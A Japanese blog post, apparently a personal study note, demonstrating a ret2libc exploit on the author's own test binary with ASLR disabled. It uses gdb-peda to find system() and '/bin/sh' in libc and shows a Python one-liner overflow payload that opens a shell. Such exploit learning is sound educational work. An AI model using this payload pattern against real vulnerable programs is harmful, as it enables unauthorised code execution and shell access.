ret2libcをやってみる
ret2pltで関数を実行してみる - メモ代わりでret2pltを使って遊んでみた。
printfでメモリをリークさせるみたいになったのでCTFで出てこないわけでもなさそうだが、どうせならシェルを開きたいものである。
というわけで今回はret2libcでシェルを起動してみる。
ret2libcとは
ret2pltではpltに存在しない関数を呼び出すことはできない。
そこで考えだされたのがlibcにある関数を呼び出す方法『ret2libc』だ。
実行時にlibcが動的にリンクされるのでASLRの影響を受けてしまうが今回は前回、前々回同様にASLRはOFFにしているのでうまくいくだろう。
実際にシェルを開くところまでやってみよう。
必要な情報を集める
ret2libcも呼び出し先がpltからlibcに変わっただけで要領はあまり変わらない。
まずはgdbで開いてstartコマンドを使ってmainの先頭まで走らせよう。
gdb-peda$ start
次にsystem関数がどこにあるか探さなければならないが、これは下記のコマンドで出力できる。
gdb-peda$ p system $1 = {<text variable, no debug info>} 0xf7e4a190 <system>
systemありますねぇ!
ついでにこのsystemがどこにあるか見てみよう。
vmmapコマンドでメモリのレイアウトがわかるので使ってみる。
gdb-peda$ vmmap Start End Perm Name 0x08048000 0x08049000 r-xp /tmp/a.out 0x08049000 0x0804a000 r--p /tmp/a.out 0x0804a000 0x0804b000 rw-p /tmp/a.out 0xf7e09000 0xf7e0a000 rw-p mapped 0xf7e0a000 0xf7fb2000 r-xp /lib/i386-linux-gnu/libc-2.19.so 0xf7fb2000 0xf7fb4000 r--p /lib/i386-linux-gnu/libc-2.19.so 0xf7fb4000 0xf7fb5000 rw-p /lib/i386-linux-gnu/libc-2.19.so 0xf7fb5000 0xf7fb8000 rw-p mapped 0xf7fd6000 0xf7fd8000 rw-p mapped 0xf7fd8000 0xf7fda000 r--p [vvar] 0xf7fda000 0xf7fdc000 r-xp [vdso] 0xf7fdc000 0xf7ffc000 r-xp /lib/i386-linux-gnu/ld-2.19.so 0xf7ffc000 0xf7ffd000 r--p /lib/i386-linux-gnu/ld-2.19.so 0xf7ffd000 0xf7ffe000 rw-p /lib/i386-linux-gnu/ld-2.19.so 0xfffdd000 0xffffe000 rw-p [stack]
これを見ればsystem関数のアドレスである"0xf7e4a190"は"/lib/i386-linux-gnu/libc-2.19.so"にありlibcを読んでいることがハッキリわかるはずだ。
次にsystem関数の引数を探したい。
とりあえずシェルを開ければいいのでそれっぽい文字列を探してみる。
gdb-peda$ find /bin/sh Searching for '/bin/sh' in: None ranges Found 1 results, display max 1 items: libc : 0xf7f6aa24 ("/bin/sh")
ありました。
ここまでのおさらいをすると
- 22文字以降の文字列がEIPにセットされる
- system関数のアドレスは"0xf7e4a190"
- "/bin/shの文字列"は"0xf7f6aa24"にある
では実行してみよう。
実行してみる
実際のコードはこちら
print "A"*22 + "\x90\xa1\xe4\xf7" + "BBBB" + "\x24\xaa\xf6\xf7"
ほぼpltの時と一緒だね。
実行してみる。
$ ./a.out $(python -c 'print "A"*22 + "\x90\xa1\xe4\xf7" + "BBBB" + "\x24\xaa\xf6\xf7"') AAAAAAAAAAAAAAAAAAAAAA����BBBB$�� $
シェルが起動した、やったぜ。
おわりに
ret2pltとあまり変わらないけどシェルを呼べて素晴らしいと思った。